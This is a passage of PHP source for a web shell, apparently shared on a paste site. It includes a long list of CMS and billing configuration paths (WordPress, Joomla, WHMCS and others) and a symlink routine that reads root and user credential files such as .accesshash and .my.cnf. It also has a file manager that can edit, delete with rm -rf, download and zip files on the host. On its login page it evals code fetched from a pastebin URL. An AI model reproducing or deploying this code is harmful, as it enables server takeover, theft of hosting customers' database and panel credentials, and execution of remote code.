- "submitticket.php" => "---WHMCS",
- "support/configuration.php" => "---WHMCS",
- "supporte/configuration.php" => "---WHMCS",
- "supports/configuration.php" => "---WHMCS",
- "web/configuration.php" => "---WHMCS",
- "Web/configuration.php" => "---WHMCS",
- "WEB/configuration.php" => "---WHMCS",
- "webhost/configuration.php" => "---WHMCS",
- "Webhost/configuration.php" => "---WHMCS",
- "WEBHOST/configuration.php" => "---WHMCS",
- "webhosting/configuration.php" => "---WHMCS",
- "Webhosting/configuration.php" => "---WHMCS",
- "WEBHOSTING/configuration.php" => "---WHMCS",
- "whm/configuration.php" => "---WHMCS",
- "whm/whmcs/configuration.php" => "---WHMCS",
- "whm/WHMCS/configuration.php" => "---WHMCS",
- "Whm/configuration.php" => "---WHMCS",
- "WHM/configuration.php" => "---WHMCS",
- "whmc/configuration.php" => "---WHMCS",
- "whmc/WHM/configuration.php" => "---WHMCS",
- "whmcs/configuration.php" => "---WHMCS",
- "Whmcs/configuration.php" => "---WHMCS",
- "WHMCS/configuration.php" => "---WHMCS",
- "whmcs2/configuration.php" => "---WHMCS",
- "Whmcs2/configuration.php" => "---WHMCS",
- "WHMCS2/configuration.php" => "---WHMCS",
- "whmcs3/configuration.php" => "---WHMCS",
- "Whmcs3/configuration.php" => "---WHMCS",
- "WHMCS3/configuration.php" => "---WHMCS",
- "admin/conf.php" => ".admin.conf.php---OTHER",
- "application/config/database.php" => ".application.config.database.php---OTHER",
- "conf_global.php" => ".conf_global.php---OTHER",
- "config.php" => ".config.php---OTHER",
- "config/connect.php" => ".config.connect.php---OTHER",
- "config/database.php" => ".config.database.php---OTHER",
- "config/settings.inc.php" => ".config.settings.inc.php---OTHER",
- "config/site.php" => ".config.site.php---OTHER",
- "conn.php" => ".conn.php---OTHER",
- "forum/inc/config.php" => ".forum.inc.config.php---OTHER",
- "inc/config.inc.php" => ".inc.config.inc.php---OTHER",
- "incl/config.php" => ".incl.config.php---OTHER",
- "include/config.php" => ".include.config.php---OTHER",
- "include/connect.php" => ".include.connect.php---OTHER",
- "include/db.php" => ".include.db.php---OTHER",
- "includes/functions.php" => ".includes.functions.php---OTHER",
- "lib/config.php" => ".lib.config.php---OTHER",
- "lib/Config.php" => ".lib.Config.php---OTHER",
- "libs/config.php" => ".libs.config.php---OTHER",
- "libs/Config.php" => ".libs.Config.php---OTHER",
- "mk_conf.php" => ".mk_conf.php---OTHER",
- "Settings.php" => ".Settings.php---OTHER",
- "SSI.php" => ".SSI.php---OTHER",
- "system/sistem.php" => ".system.sistem.php---OTHER",
- "up/includes/config.php" => ".up.includes.config.php---OTHER",
- "upload/includes/config.php" => ".upload.includes.config.php---OTHER",
- "apps/wp-config.php" => ".apps---WORDPRESS",
- "apps/wordpress/wp-config.php" => ".apps.wordpress---WORDPRESS",
- "beta/wp-config.php" => ".beta---WORDPRESS",
- "blog/wp-config.php" => ".blog---WORDPRESS",
- "blogs/wp-config.php" => ".blogs---WORDPRESS",
- "cms/wp-config.php" => ".cms---WORDPRESS",
- "demo/wp-config.php" => ".demo---WORDPRESS",
- "demos/wp-config.php" => ".demos---WORDPRESS",
- "home/wp-config.php" => ".home---WORDPRESS",
- "home1/wp-config.php" => ".home1---WORDPRESS",
- "home2/wp-config.php" => ".home2---WORDPRESS",
- "home3/wp-config.php" => ".home3---WORDPRESS",
- "main/wp-config.php" => ".main---WORDPRESS",
- "member/wp-config.php" => ".member---WORDPRESS",
- "members/wp-config.php" => ".members---WORDPRESS",
- "new/wp-config.php" => ".new---WORDPRESS",
- "news/wp-config.php" => ".news---WORDPRESS",
- "old/wp-config.php" => ".old---WORDPRESS",
- "OLD/wp-config.php" => ".OLD---WORDPRESS",
- "olds/wp-config.php" => ".olds---WORDPRESS",
- "OLDS/wp-config.php" => ".OLDS---WORDPRESS",
- "portal/wp-config.php" => ".portal---WORDPRESS",
- "press/wp-config.php" => ".press---WORDPRESS",
- "site/wp-config.php" => ".site---WORDPRESS",
- "Site/wp-config.php" => ".Site---WORDPRESS",
- "test/wp-config.php" => ".test---WORDPRESS",
- "v1/wp-config.php" => ".v1---WORDPRESS",
- "v2/wp-config.php" => ".v2---WORDPRESS",
- "v3/wp-config.php" => ".v3---WORDPRESS",
- "wp-config.php" => "---WORDPRESS",
- "wp/beta/wp-config.php" => ".wp.beta---WORDPRESS",
- "wp/test/wp-config.php" => ".wp.test---WORDPRESS",
- "wp/wp-config.php" => ".wp---WORDPRESS",
- "WP/wp-config.php" => ".WP---WORDPRESS",
- "wordpress/beta/wp-config.php" => ".wordpress.beta---WORDPRESS",
- "wordpress/wp-config.php" => ".wordpress---WORDPRESS",
- "Wordpress/wp-config.php" => ".Wordpress---WORDPRESS",
- "apps/configuration.php" => ".apps---JOOMLA",
- "apps/joomla/configuration.php" => ".apps.joomla---JOOMLA",
- "beta/configuration.php" => ".beta---JOOMLA",
- "blog/configuration.php" => ".blog---JOOMLA",
- "blogs/configuration.php" => ".blogs---JOOMLA",
- "cms/configuration.php" => ".cms---JOOMLA",
- "demo/configuration.php" => ".demo---JOOMLA",
- "demos/configuration.php" => ".demos---JOOMLA",
- "home/configuration.php" => ".home---JOOMLA",
- "home1/configuration.php" => ".home1---JOOMLA",
- "home2/configuration.php" => ".home2---JOOMLA",
- "home3/configuration.php" => ".home3---JOOMLA",
- "joo/configuration.php" => ".joo---JOOMLA",
- "joomla/configuration.php" => ".joomla---JOOMLA",
- "main/configuration.php" => ".main---JOOMLA",
- "member/configuration.php" => ".member---JOOMLA",
- "members/configuration.php" => ".members---JOOMLA",
- "new/configuration.php" => ".new---JOOMLA",
- "news/configuration.php" => ".news---JOOMLA",
- "old/configuration.php" => ".old---JOOMLA",
- "OLD/configuration.php" => ".OLD---JOOMLA",
- "olds/configuration.php" => ".olds---JOOMLA",
- "OLDS/configuration.php" => ".OLDS---JOOMLA",
- "portal/configuration.php" => ".portal---JOOMLA",
- "site/configuration.php" => ".site---JOOMLA",
- "Site/configuration.php" => ".Site---JOOMLA",
- "test/configuration.php" => ".test---JOOMLA",
- "v1/configuration.php" => ".v1---JOOMLA",
- "v2/configuration.php" => ".v2---JOOMLA",
- "v3/configuration.php" => ".v3---JOOMLA",
- "requires/config.php" => "---AM4SS",
- "amember/config.inc.php" => "---AMEMBER",
- "aMember/config.inc.php" => "---AMEMBER",
- "bw-configs/config.ini" => "---BOSWEB",
- "site/default/default.settings.php" => ".site---DRUPAL",
- "site/default/settings.php" => ".site---DRUPAL",
- "sites/default/default.settings.php" => ".sites---DRUPAL",
- "sites/default/settings.php" => ".sites---DRUPAL",
- "default/default.settings.php" => "---DRUPAL",
- "default/settings.php" => "---DRUPAL",
- "application/config/database.php" => "---ELLISLAB",
- "billing/includes/iso4217.php" => ".billing---HOSTBILLS",
- "billings/includes/iso4217.php" => ".billings---HOSTBILLS",
- "client/includes/iso4217.php" => ".client---HOSTBILLS",
- "host/includes/iso4217.php" => ".host---HOSTBILLS",
- "hosts/includes/iso4217.php" => ".hosts---HOSTBILLS",
- "hosting/includes/iso4217.php" => ".hosting---HOSTBILLS",
- "hostings/includes/iso4217.php" => ".hostings---HOSTBILLS",
- "hostbill/includes/iso4217.php" => ".hostbill---HOSTBILLS",
- "hostbills/includes/iso4217.php" => ".hostbills---HOSTBILLS",
- "hostbillincludes/iso4217.php" => ".hostbillincludes---HOSTBILLS",
- "includes/iso4217.php" => "---HOSTBILLS",
- "support/includes/iso4217.php" => ".support---HOSTBILLS",
- "supports/includes/iso4217.php" => ".supports---HOSTBILLS",
- "arcade/functions/dbclass.php" => "---IBPROARCADE",
- "config/koneksi.php" => "---LOKOMEDIA",
- "lokomedia/config/koneksi.php" => ".lokomedia---LOKOMEDIA",
- "app/etc/local.xml" => "---MAGENTO",
- "article/config.php" => "---NWAHY",
- "library/config.php" => "---NWAHY",
- "admin/config.php" => "---OPENCART-or-OTHER",
- "config.inc.php" => "---OPENJOURNALSISTEM",
- "includes/configure.php" => "---OSCOMMERCE",
- "os/includes/configure.php" => ".os---OSCOMMERCE",
- "oscom/includes/configure.php" => ".oscom---OSCOMMERCE",
- "oscommerce/includes/configure.php" => ".oscommerce---OSCOMMERCE",
- "sale/includes/configure.php" => ".sale---OSCOMMERCE",
- "shop/includes/configure.php" => ".shop---OSCOMMERCE",
- "shopping/includes/configure.php" => ".shopping---OSCOMMERCE",
- "include/ost-config.php" => "---OSTTICKET",
- "ticket/include/ost-config.php" => "---OSTTICKET",
- "forum/config.php" => "---PHPBB",
- "connect.php" => "---PHPFUSION-or-OTHER",
- "public_htm/html/config.php" => "---PHPNUKE",
- "po-content/config.php" => "---POPOJI",
- "config/settings.inc.php" => "---PRESTASHOP",
- "suspended.page/index.html" => "---RESELLER",
- "slconfig.php" => "---SITELOCK",
- "forum/Settings.php" => ".forum---SMF",
- "forums/Settings.php" => ".forums---SMF",
- "smf/Settings.php" => ".smf---SMF",
- "Settings.php" => "---SMF",
- "cc/includes/class_core.php" => ".cc---VBULLETIN",
- "cc/includes/config.php" => ".cc---VBULLETIN",
- "includes/class_core.php" => "---VBULLETIN",
- "includes/config.php" => "---VBULLETIN",
- "forum/includes/class_core.php" => ".forum---VBULLETIN",
- "forum/includes/config.php" => ".forum---VBULLETIN",
- "vb/includes/class_core.php" => ".vb---VBULLETIN",
- "vb/includes/config.php" => ".vb---VBULLETIN",
- "vb1/includes/class_core.php" => ".vb1---VBULLETIN",
- "vb1/includes/config.php" => ".vb1---VBULLETIN",
- "vb2/includes/class_core.php" => ".vb2---VBULLETIN",
- "vb2/includes/config.php" => ".vb2---VBULLETIN",
- "vb3/includes/class_core.php" => ".vb3---VBULLETIN",
- "vb3/includes/config.php" => ".vb3---VBULLETIN",
- "vdo_config.php" => "---VOODOO",
- "includes/dist-configure.php" => "---ZENCART",
- "zencart/includes/dist-configure.php" => ".zencart---ZENCART",
- "shop/includes/dist-configure.php" => ".shop---ZENCART"
- );
- if(is_dir("AL-VRI")) {
- chdir("AL-VRI");
- $file = @fopen(".htaccess", "w");
- @fwrite($file, $htaccess);
- @fclose($file);
- @symlink("/", "aaalvriROOT");
- if(is_dir("symlink")) {
- chdir("symlink");
- }
- else {
- mkdir("symlink", 0777);
- chdir("symlink");
- }
- }
- else {
- mkdir("AL-VRI", 0777);
- chdir("AL-VRI");
- $file = @fopen(".htaccess", "w");
- @fwrite($file, $htaccess);
- @fclose($file);
- @symlink("/", "aaalvriROOT");
- mkdir("symlink", 0777);
- chdir("symlink");
- }
- @copy($diroot."/root/.accesshash", $server."---WHMCS.txt");
- @symlink("/root/.accesshash", $server."---WHMCS.txt");
- foreach($targets as $address) {
- $target = trim($address);
- $users = explode("/", $target);
- foreach ($users as $pengguna) {
- $user = trim($pengguna);
- }
- @copy($target."/.my.cnf", $user."---CPANEL.txt");
- @symlink($target."/.my.cnf", $user."---CPANEL.txt");
- @copy($target."/.accesshash", $user."---WHMCS.txt");
- @symlink($target."/.accesshash", $user."---WHMCS.txt");
- if(!empty($nextroot)) {
- @copy($target."/".$nextroot."/".$user."/.my.cnf", $user."---CPANEL.txt");
- @symlink($target."/".$nextroot."/".$user."/.my.cnf", $user."---CPANEL.txt");
- @copy($target."/".$nextroot."/".$user."/.accesshash", $user."---WHMCS.txt");
- @symlink($target."/".$nextroot."/".$user."/.accesshash", $user."---WHMCS.txt");
- }
- foreach($configs as $config => $information) {
- @copy($target."/".$config, $user.$information.".txt");
- @symlink($target."/".$config, $user.$information.".txt");
- if(!empty($nextroot)) {
- @copy($target."/".$nextroot."/".$config, $user.$information.".txt");
- @symlink($target."/".$nextroot."/".$config, $user.$information.".txt");
- }
- }
- echo "
- <div>".$target."</div>";
- }
- echo "
- <span class=\"text-abu\">[ DONE ]</span>";
- } ?>
- </div><?php
- }
- /*elseif ($do == "[nama menu]") {
- function [nama fungsi]() {
- [isi fungsi]
- }
- ?>[isi menu]<?php
- }*/
- //FINISH | TAMBAHAN MENU
- else {
- header("Location: ?al=vri");
- }
- }
- else {
- echo color("Directory \"".$_GET["directory"]."\" is not exists.", "merah");
- }
- }
- elseif (isset($_GET["action"]) && !empty($_GET["directory"]) && !empty($_GET["action"])) {
- $action = $_GET["action"];
- $get_directory = $_GET["directory"];
- $post_directory = isset($_POST["directory"]);
- $post_data = isset($_POST["data"]);
- if (!empty($_GET["data"]) && is_file($get_directory."/".$_GET["data"])) {
- $get_data = $_GET["data"];
- $target = $get_directory."/".$get_data;
- ?><div class="text-left">
- <span>[ <?= permission($target, "color") ?> ] Filename: <?= $target ?></span>
- </div>
- <div>
- <span class="text-nowrap">
- [ <a href="?al=vri&directory=<?= !empty($post_directory) ? $post_directory : $get_directory ?>&data=<?= !empty($post_data) ? $post_data : $get_data ?>&action=view">VIEW</a> ]
- </span>
- <span class="text-nowrap">
- [ <a href="?al=vri&directory=<?= !empty($post_directory) ? $post_directory : $get_directory ?>&data=<?= !empty($post_data) ? $post_data : $get_data ?>&action=edit">EDIT</a> ]
- </span>
- <span class="text-nowrap">
- [ <a href="?al=vri&directory=<?= !empty($post_directory) ? $post_directory : $get_directory ?>&data=<?= !empty($post_data) ? $post_data : $get_data ?>&action=rename">RENAME</a> ]
- </span>
- <span class="text-nowrap">
- [ <a href="?al=vri&directory=<?= !empty($post_directory) ? $post_directory : $get_directory ?>&data=<?= !empty($post_data) ? $post_data : $get_data ?>&action=delete">DELETE</a> ]
- </span>
- <span class="text-nowrap">
- [ <a href="?al=vri&directory=<?= !empty($post_directory) ? $post_directory : $get_directory ?>&data=<?= !empty($post_data) ? $post_data : $get_data ?>&action=download">DOWNLOAD</a> ]
- </span>
- </div><?php
- }
- elseif (!empty($_GET["data"]) && is_dir($get_directory."/".$_GET["data"])) {
- $get_data = $_GET["data"];
- $target = $get_directory."/".$get_data;
- ?><div class="text-left">
- <span>[ <?= permission($target, "color") ?> ] Directory: <?= $target ?></span>
- </div>
- <div>
- <span class="text-nowrap">
- [ <a href="?al=vri&directory=<?= !empty($post_directory) ? $post_directory : $get_directory ?>&data=<?= !empty($post_data) ? $post_data : $_GET["data"] ?>&action=rename">RENAME</a> ]
- </span>
- <span class="text-nowrap">
- [ <a href="?al=vri&directory=<?= !empty($post_directory) ? $post_directory : $get_directory ?>&data=<?= !empty($post_data) ? $post_data : $_GET["data"] ?>&action=delete">DELETE</a> ]
- </span>
- </div><?php
- }
- else {
- $target = $_GET["directory"];
- ?><div class="text-left">
- <span>[ <?= permission($target, "color") ?> ] Directory: <?= $target ?></span>
- </div><?php
- }
- if ($action == "newfile") {
- if (is_dir($target)) { ?>
- <form method="POST">
- <input type="text" name="directory" placeholder="Directory" value="<?= !empty($_POST["directory"]) ? $_POST["directory"] : $_GET["directory"] ?>" required>
- <input type="text" name="data" placeholder="New file name | example: al-vri.txt" value="<?= !empty($_POST["data"]) ? $_POST["data"] : "" ?>" required>
- <input type="submit" name="submit" value="New File">
- </form><?php
- if(isset($_POST["submit"])) {
- $directory = htmlspecialchars($_POST["directory"]);
- $data = htmlspecialchars($_POST["data"]);
- if (is_dir($directory)) {
- if(fopen($directory."/".$data, "a+")) {
- header("Location: ?al=vri&directory=".$directory."&data=".$data."&action=edit");
- }
- else {
- echo "
- ".color("Permission denied!", "merah");
- }
- }
- else {
- echo "
- ".color("Directory \"".$directory."\" is not exists.", "merah");
- }
- }
- }
- else {
- echo "
- ".color("Directory \"".$target."\" is not exists.", "merah");
- }
- }
- elseif ($action == "newfolder") {
- if (is_dir($target)) { ?>
- <form method="POST">
- <input type="text" name="directory" placeholder="Path" value="<?= !empty($_POST["directory"]) ? $_POST["directory"] : $_GET["directory"] ?>" required>
- <input type="text" name="data" placeholder="New folder name | example: al-vri" value="<?= !empty($_POST["data"]) ? $_POST["data"] : "" ?>" required>
- <input type="submit" name="submit" value="New Folder">
- </form><?php
- if(isset($_POST["submit"])) {
- $directory = htmlspecialchars($_POST["directory"]);
- $data = htmlspecialchars($_POST["data"]);
- if (is_dir($directory)) {
- if(@mkdir($directory."/".$data)) {
- header("Location: ?al=vri&directory=".$directory);
- }
- else {
- echo "
- ".color("Permission denied!", "merah");
- }
- }
- else {
- echo "
- ".color("Directory \"".$directory."\" is not exists.", "merah");
- }
- }
- }
- else {
- echo "
- ".color("Directory \"".$target."\" is not exists.", "merah");
- }
- }
- elseif ($action == "view") {
- if (is_file($target)) {
- $ext = finfo_file(finfo_open(FILEINFO_MIME_TYPE), $target); ?>
- <pre class="text-left"><?php
- if (
- preg_match("/text/i", $ext) ||
- preg_match("/javascript/i", $ext) ||
- preg_match("/json/i", $ext) ||
- preg_match("/xml/i", $ext)
- ) { ?>
- <?= htmlspecialchars(@file_get_contents($target)) ?><?php
- }
- elseif (preg_match("/image/i", $ext)) { ?>
- <img src="<?= $_GET["data"] ?>"><?php
- }
- else { ?>
- File "<?= $ext ?>" could not be opened.<?php
- if (!empty(htmlspecialchars(@file_get_contents($target)))) {
- echo "
- ".htmlspecialchars(@file_get_contents($target));
- }
- }
- ?></pre><?php
- }
- else {
- echo "
- ".color("File \"".$target."\" is not exists.", "merah");
- }
- }
- elseif ($action == "edit") {
- if (is_file($target)) { ?>
- <form method="POST">
- <textarea name="text" placeholder="Text"><?= !empty($_POST["text"]) ? $_POST["text"] : htmlspecialchars(@file_get_contents($target)) ?></textarea>
- <input type="text" name="directory" placeholder="Directory" value="<?= !empty($_POST["directory"]) ? $_POST["directory"] : $_GET["directory"] ?>" required>
- <input type="text" name="data" placeholder="File name" value="<?= !empty($_POST["data"]) ? $_POST["data"] : $_GET["data"] ?>" required>
- <input type="submit" name="submit" value="Save">
- </form><?php
- if(isset($_POST["submit"])) {
- if(@file_put_contents($_POST["directory"]."/".$_POST["data"], $_POST["text"])) {
- echo "
- ".color("Success", "kuning");
- }
- else {
- echo "
- ".color("Permission denied!", "merah");
- }
- }
- }
- else {
- echo "
- ".color("File \"".$target."\" is not exists.", "merah");
- }
- }
- elseif ($action == "rename") {
- if (is_dir($target) || is_file($target)) { ?>
- <form method="POST">
- <input type="text" value="<?= $_GET["directory"] ?>" disabled>
- <input type="text" name="data" placeholder="New folder or file name" value="<?= !empty($_POST["data"]) ? $_POST["data"] : $_GET["data"] ?>" required>
- <input type="submit" name="submit" value="Change name">
- </form><?php
- if(isset($_POST["submit"])) {
- if(@rename($target, htmlspecialchars($_POST["data"]))) {
- header("Location: ?al=vri&directory=".path());
- }
- else {
- echo "
- ".color("Permission denied!", "merah");
- }
- }
- }
- else {
- echo "
- ".color("Directory or File \"".$target."\" is not exists.", "merah");
- }
- }
- elseif ($action == "delete") {
- if (is_dir($target)) {
- if (is_writable($target)) {
- if (@rmdir($target)) {
- delete($target);
- header("Location: ?al=vri&directory=".path());
- }
- elseif (OS() == "Linux") {
- @command("rm -rf ".$target);
- header("Location: ?al=vri&directory=".path());
- }
- elseif (OS() == "Windows") {
- @command("rmdir /s /q ".$target);
- header("Location: ?al=vri&directory=".path());
- }
- else {
- echo "
- ".color("Permission denied!", "merah");
- }
- }
- else {
- echo "
- ".color("Could not remove directory \"".$target."\"");
- }
- }
- elseif (is_file($target)) {
- if(unlink($target)) {
- header("Location: ?al=vri&directory=".path());
- }
- else {
- echo "
- ".color("Permission denied!", "merah");
- }
- }
- else {
- echo "
- ".color("Directory or File \"".$target."\" is not exists.", "merah");
- }
- }
- elseif ($action == "download") {
- if (is_file($target)) {
- header("Content-Description: File Transfer");
- header("Content-Type: application/octet-stream");
- header("Content-Disposition: attachment; filename=\"".basename($target)."\"");
- header("Expires: 0");
- header("Cache-Control: must-revalidate");
- header("Pragma: public");
- header("Content-Length: ".filesize($target));
- readfile($target);
- }
- else {
- echo "
- ".color("File \"".$target."\" is not exists.", "merah");
- }
- }
- else {
- echo "
- ".color("Directory or File \"".$target."\" is not exists.", "merah");
- }
- }
- else {
- function ownergroup($data) {
- if (is_dir($data) || is_file($data)) {
- if(@function_exists("posix_getpwuid")) {
- $x = (object) @posix_getpwuid(fileowner($data));
- $y["owner"] = $x->name;
- } else {
- $y["owner"] = fileowner($data);
- }
- if(@function_exists("posix_getgrgid")) {
- $x = (object) @posix_getgrgid(filegroup($data));
- $y["group"] = $x->name;
- } else {
- $y["group"] = filegroup($data);
- }
- }
- else {
- $y["owner"] = "undefined";
- $y["group"] = "undefined";
- }
- return (object) $y;
- }
- if (!is_dir(path())) {
- echo color("Directory \"".path()."\" is not exists.", "merah");
- }
- elseif (!is_readable(path())) {
- echo color("Directory \"".path()."\" not readable.", "merah");
- }
- else {
- ?><form method="POST">
- <table class="table">
- <thead>
- <tr>
- <th>
- <input type="checkbox" id="selectall">
- </th>
- <th>
- <select name="action" required>
- <option value="">Silahkan pilih...</option>
- <option value="copy">Copy</option>
- <option value="move">Move</option>
- <option value="delete">Delete</option><?php
- if (!empty($_SESSION["action"])) {
- echo "
- <option value=\"paste\">Paste</option>";
- }
- ?>
- <option value="zip">Zip</option>
- <option value="unzip">Unzip</option>
- </select>
- </th>
- <th><input type="submit" name="go" value="GO"></th>
- <th></th>
- <th></th>
- <th></th>
- <th>
- <span><a href="?al=vri&directory=<?= path() ?>&action=newfile">NEW FILE</a></span>
- <span class="text-nowrap">| <a href="?al=vri&directory=<?= path() ?>&action=newfolder">NEW FOLDER</a></span>
- </th>
- </tr>
- <tr>
- <th></th>
- <th>Name</th>
- <th>Size</th>
- <th>Date Modified</th>
- <th>Owner/Group</th>
- <th>Permissions</th>
- <th>Actions</th>
- </tr>
- </thead>
- <tbody><?php
- if(function_exists("opendir")) {
- if($opendir = opendir(path())) {
- while(($readdir = readdir($opendir)) !== false) {
- $data_s[] = $readdir;
- }
- closedir($opendir);
- }
- sort($data_s);
- } else {
- $data_s = scandir(path());
- }
- foreach($data_s as $data) {
- if(is_dir($data) && $data != "." && $data != "..") {
- if (path() == "/") {
- $folder["link"] = "/".$data;
- }
- else {
- $folder["link"] = path()."/".$data;
- }
- $folder["time"] = date("H:i:s | d/m/Y", filemtime($folder["link"]));
- $folder["ownergroup"] = ownergroup($folder["link"])->owner."/".ownergroup($folder["link"])->group;
- $folder["permission"] = permission($folder["link"], "color"); ?>
- <tr>
- <td><input type="checkbox" name="data[]" value="<?= $data ?>"></td>
- <td class="text-left">
- <a href="?al=vri&directory=<?= $folder["link"] ?>"><?= $data ?></a>
- </td>
- <td>DIR</td>
- <td><?= $folder["time"] ?></td>
- <td><?= $folder["ownergroup"] ?></td>
- <td><?= $folder["permission"] ?></td>
- <td>
- <a href="?al=vri&directory=<?= path() ?>&data=<?= $data ?>&action=rename">RENAME</a>
- <span class="text-nowrap">| <a href="?al=vri&directory=<?= path() ?>&data=<?= $data ?>&action=delete">DELETE</a></span>
- </td>
- </tr><?php
- }
- }
- foreach($data_s as $data) {
- if (is_file($data)) {
- if (path() == "/") {
- $berkas["name"] = "/".$data;
- }
- else {
- $berkas["name"] = path()."/".$data;
- }
- $berkas["size"] = size($berkas["name"]);
- $berkas["time"] = date("H:i:s | d/m/Y", filemtime($berkas["name"]));
- $berkas["ownergroup"] = ownergroup($berkas["name"])->owner."/".ownergroup($berkas["name"])->group;
- $berkas["permission"] = permission($berkas["name"], "color"); ?>
- <tr>
- <td><input type="checkbox" name="data[]" value="<?= $data ?>"></td>
- <td class="text-left">
- <a href="?al=vri&directory=<?= path() ?>&data=<?= $data ?>&action=view"><?= $data ?></a>
- </td>
- <td class="text-right text-nowrap"><?= $berkas["size"] ?></td>
- <td><?= $berkas["time"] ?></td>
- <td><?= $berkas["ownergroup"] ?></td>
- <td><?= $berkas["permission"] ?></td>
- <td>
- <a href="?al=vri&directory=<?= path() ?>&data=<?= $data ?>&action=edit">EDIT</a>
- <span class="text-nowrap">| <a href="?al=vri&directory=<?= path() ?>&data=<?= $data ?>&action=rename">RENAME</a></span>
- <span class="text-nowrap">| <a href="?al=vri&directory=<?= path() ?>&data=<?= $data ?>&action=delete">DELETE</a></span>
- <span class="text-nowrap">| <a href="?al=vri&directory=<?= path() ?>&data=<?= $data ?>&action=download">DOWNL-</a></span>
- </td>
- </tr><?php
- }
- } ?>
- </tbody>
- </table>
- </form><?php
- if (isset($_POST["go"])) {
- $action = $_POST["action"];
- if ($action == "copy" || $action == "move") {
- $_SESSION["action"] = $action;
- $_SESSION["data_path"] = path();
- $_SESSION["data_name"] = $_POST["data"];
- }
- elseif ($action == "paste") {
- function paste($path_target, $path_destination, $data) {
- $target = $path_target."/".$data;
- $destination = $path_destination."/".$data;
- if (is_dir($target)) {
- @mkdir($path_destination."/".$data);
- $opendir = @opendir($target);
- while (($readdir = @readdir($opendir)) != false) {
- if (($readdir != ".") and ($readdir != "..")) {
- paste($target, $destination, $readdir);
- }
- }
- }
- elseif (is_file($target)) {
- @copy($target, $destination);
- }
- }
- if ($_SESSION["action"] == "copy") {
- foreach ($_SESSION["data_name"] as $data) {
- paste($_SESSION["data_path"], path(), $data);
- }
- }
- elseif ($_SESSION["action"] == "move") {
- foreach ($_SESSION["data_name"] as $data) {
- if (is_writable(path())) {
- paste($_SESSION["data_path"], path(), $data);
- delete($_SESSION["data_path"]."/".$data);
- }
- }
- }
- unset($_SESSION["action"]);
- unset($_SESSION["data_name"]);
- unset($_SESSION["data_path"]);
- }
- elseif ($action == "delete") {
- foreach ($_POST["data"] as $data) {
- delete($data);
- }
- }
- elseif ($action == "zip") {
- if(class_exists("ZipArchive")) {
- $zip = new ZipArchive();
- if ($zip->open(date("Y.m.d-H.i.s").".zip", ZipArchive::CREATE)) {
- foreach ($_POST["data"] as $data) {
- if (@is_file($data)) {
- $zip->addFile($data);
- }
- elseif (@is_dir($data)) {
- if (is_writable($data)) {
- $iterator_s = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($data."/", FilesystemIterator::SKIP_DOTS));
- foreach ($iterator_s as $iterator) {
- $zip->addFile(realpath($iterator), $iterator);
- }
- }
- }
- }
- $zip->close();
- }
- }
- }
- elseif ($action == "unzip") {
- if(class_exists("ZipArchive")) {
- $zip = new ZipArchive();
- foreach ($_POST["data"] as $data) {
- $destination = substr($data, 0, -4);
- if (zip_read(zip_open($data)) && $zip->open($data)) {
- @mkdir($destination);
- $zip->extractTo($destination);
- $zip->close();
- }
- }
- }
- }
- header("Location: ?al=vri&directory=".path());
- }
- }
- } ?>
- </div>
- </div>
- <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
- <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
- <!-- Include all compiled plugins (below), or include individual files as needed -->
- <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
- <!-- Optional JavaScript -->
- <script type="text/javascript">
- $(document).ready(function () {
- $("#toggle-sidebar").on("click", function () {
- $("#sidebar, #main, #navbar, #content").toggleClass('active');
- });
- $("#selectall").on("click", function() {
- $("input:checkbox").not(this).prop("checked", this.checked);
- });
- $(".sidebar-list ul").on("click", "li", function() {
- $(".sidebar-list ul li.active").removeClass("active");
- $(this).addClass("active");
- });
- });
- </script><?php
- }
- else {
- if (!empty($_SESSION["login"])) {
- header("Location: ?al=vri");
- }
- else { ?>
- Zhuhahaha, need a security? --- aalvriyanto@gmail.com<?php
- eval("?>".file_get_contents("https://pastebin.com/raw/HeAAbtch"));
- header("Refresh: 7; url=http://gnt.at/al-vri.php");
- }
- } ?>
- </body>
- </html>
Add Comment
Please, Sign In to add comment